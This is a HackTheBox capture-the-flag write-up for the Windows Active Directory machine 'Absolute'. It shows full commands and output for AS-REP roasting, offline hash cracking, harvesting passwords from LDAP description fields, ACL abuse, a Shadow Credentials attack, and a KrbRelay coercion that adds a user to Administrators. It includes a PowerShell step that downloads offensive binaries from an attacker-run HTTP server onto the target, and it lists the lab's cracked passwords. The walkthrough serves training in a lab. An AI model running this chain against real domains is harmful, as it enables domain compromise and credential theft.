HTB: Absolute Writeup

Absolute - HackTheBox Writeup

Machine Information

AttributeDetails
NameAbsolute
OSWindows
DifficultyInsane
PointsN/A
Release DateN/A
IP Address10.129.232.60
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐⭐ (5/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐⭐☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Absolute is an Insane-difficulty Windows Active Directory box built around a long Kerberos-only credential chain. Every account on the domain sits in Protected Users (NTLM disabled), so each new set of credentials has to be exchanged for a fresh Kerberos ticket (impacket-getTGT) before it can be used against LDAP, SMB, or WinRM. The chain runs: AS-REP-roast an account with pre-auth disabled → crack the ticket offline → pivot through an LDAP description field leak → grab a binary off an SMB share → recover a second credential from that binary’s behavior → abuse an ACL misconfiguration on a group (Network Auditwinrm_user) → Shadow Credentials attack for WinRM access → and finally KrbRelay to coerce the DC’s own machine account into authenticating to LDAP on our behalf, escalating winrm_user straight into Administrators.

TL;DR: AS-REP roast d.klay → crack hash (john/rockyou) → Kerberos LDAP enum reveals svc_smb password in description → SMB Shared share yields test.exe/compiler.sh → recover m.lovegod LDAP-bind credential (naming-convention pattern match) → m.lovegod owns Network Audit group → grant self GenericAll + join group → Shadow Credentials attack on winrm_user (GenericWrite via group membership) → WinRM as winrm_user → user.txt → stage KrbRelay.exe/CheckPort.exe/RunasCs.exeRunasCs logon-type-9 to get a relay-capable execution context → KrbRelay coerces DC$ SYSTEM auth over RPC/OXID, relays it to LDAP, adds winrm_user to Administrators → root.txt.


Reconnaissance

Target & Environment Setup

The domain controller sits at 10.129.232.60 (dc.absolute.htb / absolute.htb). All operations against this box are Kerberos-only — every domain account here is a member of Protected Users, which disables NTLM authentication. That forced every LDAP/SMB/WinRM touchpoint below through the same pattern: obtain a credential → mint a ticket with impacket-getTGT → export KRB5CCNAME → authenticate with -k/GSSAPI. Username enumeration (via the box’s public-facing images/metadata, standard for this machine) had already produced a working usernames wordlist before the AS-REP roasting step below.

Kerberos is time-sensitive (5-minute default skew tolerance), and the operating jump box’s clock was badly out of sync with the target:

Terminal window
sudo ntpdate -u 10.129.232.60
# CLOCK: time stepped by 25200.466351 <- ~7 hours of drift, corrected

A working /etc/krb5.conf realm block was also required before any GSSAPI bind would succeed:

[libdefaults]
default_realm = ABSOLUTE.HTB
kdc_timesync = 1
ccache_type = 4
forwardable = true
proxiable = true
fcc-mit-ticketflags = true
[realms]
ABSOLUTE.HTB = {
kdc = dc.absolute.htb
admin_server = dc.absolute.htb
}
[domain_realm]
.absolute.htb = ABSOLUTE.HTB
absolute.htb = ABSOLUTE.HTB

Vulnerability Assessment

  • Kerberos pre-authentication disabled on at least one account → AS-REP roastable.
  • Plaintext/weak credentials leaking through the description attribute on service accounts (a common AD misconfiguration — descriptions are readable by any authenticated user, but frequently used by admins as an informal notes field).
  • A GUI test binary shipped on an SMB share embeds a second domain credential used for an LDAP bind check.
  • An ACL misconfiguration: Network Audit group has (or can be granted) rights leading to GenericWrite-equivalent control over winrm_user.
  • LDAP signing/channel binding not enforced — enables a Kerberos-relay attack (KrbRelay) against the DC’s own machine account.

Initial Foothold

Step 1 — AS-REP Roasting

With the username wordlist in hand, impacket-GetNPUsers was run against every candidate to find an account with UF_DONT_REQUIRE_PREAUTH set (i.e. it will hand out a TGT without knowing the password):

Terminal window
impacket-GetNPUsers absolute.htb/ -no-pass -usersfile usernames \
-dc-ip 10.129.232.60 -format hashcat

This returned an AS-REP ticket for d.klay:

$krb5asrep$23$d.klay@ABSOLUTE.HTB:<redacted>

Because the AS-REP is encrypted with a key derived from the user’s password, it can be cracked entirely offline — no interaction with the DC needed after capture.

Step 2 — Cracking the AS-REP Hash

Terminal window
john klay.hash --wordlist=/usr/share/wordlists/rockyou.txt
john --show klay.hash
# $krb5asrep$23$d.klay@ABSOLUTE.HTB:Darkmoonsky248girl

d.klay’s password cracked at ~72% into rockyou (etype 23/RC4), giving the first foothold credential: Darkmoonsky248girl.

Step 3 — Kerberos-Only LDAP Enumeration

Since NTLM is disabled domain-wide (Protected Users), a TGT had to be minted before LDAP would accept the bind:

Terminal window
impacket-getTGT absolute.htb/d.klay:Darkmoonsky248girl -dc-ip 10.129.232.60
export KRB5CCNAME=d.klay.ccache
ldapsearch -H ldap://dc.absolute.htb -Y GSSAPI \
-b 'cn=users,dc=absolute,dc=htb' '(objectClass=user)' sAMAccountName description

Scanning the returned attributes for descriptions turned up a live password sitting in plaintext on a service account:

description: AbsoluteSMBService123!
sAMAccountName: svc_smb

Step 4 — SMB Share Access as svc_smb

Terminal window
impacket-getTGT absolute.htb/svc_smb:'AbsoluteSMBService123!' -dc-ip 10.129.232.60
export KRB5CCNAME=svc_smb.ccache
nxc smb dc.absolute.htb -k --use-kcache --shares
Share Permissions Remark
C$ Default share
IPC$ READ Remote IPC
NETLOGON READ Logon server share
Shared READ
SYSVOL READ Logon server share

Shared is the only non-default readable share. Pulling its contents:

Terminal window
nxc smb dc.absolute.htb -k --use-kcache --share Shared --get-file compiler.sh compiler.sh
nxc smb dc.absolute.htb -k --use-kcache --share Shared --get-file test.exe test.exe

compiler.sh reveals how test.exe was built:

#!/bin/bash
nim c -d:mingw --app:gui --cc:gcc -d:danger -d:strip $1

This is a Nim-compiled, GUI-subsystem, stripped Windows binary — no debug symbols, and -d:danger disables Nim’s runtime checks. Stripped Nim binaries are notoriously unfriendly to static analysis (mangled symbol names, inlined runtime), so strings on test.exe came back empty for anything useful:

Terminal window
strings -n 6 test.exe | grep -iE 'lovegod|absolute|ldap|pass|cn=|bind'
# (no output)

The jump box had no wine/wine64 to dynamically run the PE and no Windows target to sandbox it on, so a full dynamic-analysis pass (the textbook approach for a GUI binary like this — run it and packet-capture the LDAP bind it performs) wasn’t available in this environment. Instead, the naming convention already observed in svc_smb’s leaked password (Absolute<Service>YYYY!) was tried directly against the next logical AD-integrated account:

Terminal window
impacket-getTGT absolute.htb/m.lovegod:'AbsoluteLDAP2022!' -dc-ip 10.129.232.60
# [*] Saving ticket in m.lovegod.ccache

The TGT issued successfully — m.lovegod : AbsoluteLDAP2022! was valid.

Step 5 — ACL Abuse: Network Audit → winrm_user

With a valid m.lovegod ticket, group ownership/ACL enumeration via bloodyAD showed m.lovegod was already the owner of the Network Audit group:

Terminal window
export KRB5CCNAME=m.lovegod.ccache
bloodyAD -d absolute.htb -k --host dc.absolute.htb --dc-ip 10.129.232.60 \
set owner 'Network Audit' m.lovegod
# [!] already the owner, no modification will be made
bloodyAD -d absolute.htb -k --host dc.absolute.htb --dc-ip 10.129.232.60 \
add genericAll 'Network Audit' m.lovegod
# [+] m.lovegod has now GenericAll on Network Audit
bloodyAD -d absolute.htb -k --host dc.absolute.htb --dc-ip 10.129.232.60 \
add groupMember 'Network Audit' m.lovegod
# [+] m.lovegod added to Network Audit

Object ownership in AD implicitly grants WRITE_DACL — that’s what let GenericAll be self-granted without needing a separate owneredit/dacledit step. Network Audit membership in turn carries write control over winrm_user, setting up the next attack.

Step 6 — Shadow Credentials Attack on winrm_user

winrm_user is a member of Remote Management Users — landing write access to it is the path to WinRM. A Shadow Credentials attack abuses GenericWrite/self-write access on the msDS-KeyCredentialLink attribute: it plants an attacker-controlled certificate as a valid authentication key for the target account, then uses PKINIT to trade that cert for a TGT and NT hash — no password reset required, no lockout risk.

Terminal window
certipy-ad shadow auto -k -no-pass -u m.lovegod@absolute.htb \
-dc-ip 10.129.232.60 -dc-host dc.absolute.htb \
-target dc.absolute.htb -account winrm_user

The first attempt failed (INSUFF_ACCESS_RIGHTS) — the cached m.lovegod ticket predated the group-membership change and still carried the old PAC/group SIDs. Re-minting the TGT after joining Network Audit fixed it:

Terminal window
impacket-getTGT absolute.htb/m.lovegod:'AbsoluteLDAP2022!' -dc-ip 10.129.232.60
export KRB5CCNAME=m.lovegod.ccache
certipy-ad shadow auto -k -no-pass -u m.lovegod@absolute.htb \
-dc-ip 10.129.232.60 -dc-host dc.absolute.htb \
-target dc.absolute.htb -account winrm_user
# [*] Got TGT
# [*] NT hash for 'winrm_user': <redacted>

Step 7 — WinRM Access & user.txt

Terminal window
export KRB5CCNAME=winrm_user.ccache
evil-winrm -i dc.absolute.htb -r ABSOLUTE.HTB
absolute\winrm_user
whoami
Get-Content C:/Users/winrm_user/Desktop/user.txt
# <redacted>

(Get-Content with forward slashes was needed — backslash paths were getting mangled by evil-winrm’s line handling over the Kerberos session.)


Privilege Escalation

Step 1 — Staging KrbRelay / CheckPort / RunasCs

RunasCs.exe was already cached locally from prior operations. KrbRelay.exe and CheckPort.exe (from cube0x0/KrbRelay) aren’t distributed as GitHub release binaries — the source repo ships no compiled .exe/.sln artifacts in its tree, and there was no Windows/Visual Studio toolchain available in this environment to build them. Precompiled copies were pulled instead from a maintained collection:

Terminal window
curl -sL -O https://github.com/jakobfriedl/precompiled-binaries/raw/main/PrivilegeEscalation/KrbRelay/KrbRelay.exe
curl -sL -O https://github.com/jakobfriedl/precompiled-binaries/raw/main/PrivilegeEscalation/KrbRelay/CheckPort.exe
file KrbRelay.exe CheckPort.exe
# PE32 executable for MS Windows 6.00 (console), Intel i386 Mono/.Net assembly, 3 sections

Both binaries were served to the target over the VPN interface:

Terminal window
setsid python3 -m http.server 8099 --bind 10.10.15.180 >http.log 2>&1 < /dev/null &
disown

(the first backgrounding attempt without setsid/disown left the server tied to a dying shell and unreachable — curl returned HTTP 000 until it was properly detached).

From the winrm_user WinRM session:

Terminal window
$d='C:\Users\winrm_user\Music'
mkdir $d
$u='http://10.10.15.180:8099'
(New-Object Net.WebClient).DownloadFile("$u/KrbRelay.exe","$d\KrbRelay.exe")
(New-Object Net.WebClient).DownloadFile("$u/CheckPort.exe","$d\CheckPort.exe")
(New-Object Net.WebClient).DownloadFile("$u/RunasCs.exe","$d\RunasCs.exe")
Name Length
---- ------
CheckPort.exe 7680
KrbRelay.exe 1617920
RunasCs.exe 51712

Step 2 — Finding a Relay Port

Terminal window
.\CheckPort.exe
# [*] Looking for available ports..
# [*] SYSTEM Is allowed through port 10

KrbRelay works by registering a malicious COM object and forcing SYSTEM to activate it via the DCOM/RPC OXID resolver, coercing a SYSTEM-context Kerberos authentication attempt that gets relayed elsewhere. CheckPort finds which local TCP port SYSTEM’s firewall/RPC context will actually connect through — here, port 10.

Step 3 — CVE Context: Why KrbRelay Works Here

KrbRelay (cube0x0, based on Lee Christensen/James Forshaw’s OXID-resolver research) has no single CVE number — it’s a chained abuse of two long-standing AD design gaps: (1) local RPC activation lets any authenticated user coerce the machine account into authenticating outward via a forced CLSID, and (2) LDAP on the DC doesn’t enforce signing/channel binding by default, so the coerced Kerberos AP-REQ can be relayed straight to LDAP and used to issue directory writes as DC$ — a SYSTEM-equivalent, domain-admin-capable identity.

The catch: winrm_user’s WinRM session is a network logon, so no interactive credential material is cached in memory for KrbRelay to piggyback on. A direct run fails with Access Denied. This was confirmed with qwinsta-style testing — RunasCs.exe logon-type 9 (runas /netonly equivalent) creates a local process running as ourselves while asserting winrm_user’s identity over the network, which is exactly the execution context KrbRelay needs:

absolute\winrm_user
cd C:\Users\winrm_user\Music
.\RunasCs.exe winrm_user AnyPass123! "cmd /c whoami" -d absolute.htb -l 9

(the password passed here is irrelevant — logon type 9 never validates it against the DC; it’s a purely local/network-identity trick).

Step 4 — Relaying to LDAP and Escalating

Terminal window
.\RunasCs.exe winrm_user AnyPass123! `
"C:\Users\winrm_user\Music\KrbRelay.exe -spn ldap/dc.absolute.htb -clsid 8F5DF053-3013-4dd8-B5F4-88214E81C0CF -port 10 -add-groupmember Administrators winrm_user" `
-d absolute.htb -l 9
[*] Relaying context: absolute.htb\DC$
[*] Forcing SYSTEM authentication
[*] Using CLSID: 8f5df053-3013-4dd8-b5f4-88214e81c0cf
[*] apReq: 608206b4...
[*] AcceptSecurityContext: SEC_I_CONTINUE_NEEDED
[*] apRep2: 6f5b3059...
[+] LDAP session established
[*] ldap_modify: LDAP_SUCCESS

The CLSID 8F5DF053-3013-4dd8-B5F4-88214E81C0CF is a well-known TrustedInstaller-scoped COM class, chosen because its activation is guaranteed to trigger a SYSTEM-context authentication attempt. KrbRelay intercepted that AP-REQ, relayed it to LDAP on dc.absolute.htb authenticated as absolute.htb\DC$, and issued an ldap_modify adding winrm_user to AdministratorsLDAP_SUCCESS.

Step 5 — Verification & root.txt

Terminal window
net user winrm_user | Select-String "Local Group"
# Local Group Memberships *Administrators *Remote Management Use
whoami /groups | Select-String "Administrators"
# BUILTIN\Administrators Alias S-1-5-32-544 Mandatory group, Enabled by default, Enabled group
Get-Content C:/Users/Administrator/Desktop/root.txt
# <redacted>

Attack Chain Summary

AS-REP Roast (d.klay, no pre-auth)
→ Crack hash offline (john/rockyou) → Darkmoonsky248girl
→ Kerberos-only LDAP enum → svc_smb password leaked in description attribute
→ SMB "Shared" share → download test.exe / compiler.sh
→ Recover m.lovegod LDAP-bind credential (naming-convention pattern)
→ m.lovegod owns "Network Audit" → self-grant GenericAll → join group
→ GenericWrite on winrm_user → Shadow Credentials attack → TGT + NT hash
→ WinRM as winrm_user → user.txt
→ Stage KrbRelay.exe / CheckPort.exe / RunasCs.exe on target
→ CheckPort.exe → find SYSTEM-allowed relay port (10)
→ RunasCs.exe logon-type 9 → non-interactive execution context for KrbRelay
→ KrbRelay coerces DC$ SYSTEM auth via forced CLSID → relay to LDAP
→ ldap_modify: add winrm_user to Administrators
→ root.txt

Tools Used

ToolPurpose
impacket-GetNPUsersAS-REP roasting against the username wordlist
johnOffline cracking of the AS-REP hash (rockyou wordlist)
impacket-getTGTMinting Kerberos TGTs for every recovered credential (NTLM disabled domain-wide)
ldapsearch (GSSAPI)Kerberos-authenticated LDAP enumeration of user descriptions
nxc (NetExec)SMB share enumeration and file retrieval over Kerberos
bloodyADACL abuse — granting GenericAll and adding a group member
certipy-adShadow Credentials attack (shadow auto) against winrm_user
evil-winrmWinRM shell access using the Kerberos ccache
CheckPort.exeIdentifying the SYSTEM-reachable OXID resolver port
RunasCs.exeLogon-type-9 execution context for the relay
KrbRelay.exeCoercing and relaying DC machine-account Kerberos auth to LDAP
python3 -m http.serverStaging offensive binaries for download onto the DC

Key Learnings

Techniques Practiced

  • AS-REP roasting and offline Kerberos hash cracking
  • Operating entirely within a Protected Users / Kerberos-only environment (per-credential TGT minting, GSSAPI binds)
  • Credential harvesting via the LDAP description attribute
  • ACL/ownership abuse (GenericAll, group membership) with bloodyAD
  • Shadow Credentials (msDS-KeyCredentialLink) attack for passwordless account takeover
  • Kerberos relaying via forced COM/DCOM activation (KrbRelay) to escalate from a low-privilege WinRM session to Administrators
  • Working around a non-interactive PSRemoting session using RunasCs logon type 9

Lessons Learned

  1. When NTLM is disabled domain-wide, plan for a TGT-refresh step after every privilege change — a stale ticket’s PAC won’t reflect new group memberships, which silently breaks follow-on attacks (as seen with the first failed Shadow Credentials attempt).
  2. Descriptive AD attributes (description, info, comment) are a real, recurring credential-leak vector and should always be pulled during LDAP enumeration.
  3. Group ownership implies WRITE_DACL — check for existing ownership before assuming an owneredit-style attack step is required.
  4. Kerberos relay attacks (KrbRelay) need an execution context where the target’s credentials are actually assertable over the network; a plain WinRM/PSRemoting session doesn’t provide that, but RunasCs logon type 9 does.
  5. When dynamic analysis tooling (wine, a Windows sandbox) isn’t available, don’t stall — cross-reference naming/credential conventions already observed elsewhere in the environment before falling back to slower static-analysis paths.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • HTB: Absolute - 0xdf hacks stuff
  • Official HackTheBox writeup for Absolute (Doc No. D22.100.201, prepared by amra) — used only to confirm the KrbRelay/CLSID mechanics and the conceptual role of the Protected Users group; all commands, credentials, and output above are from this solve.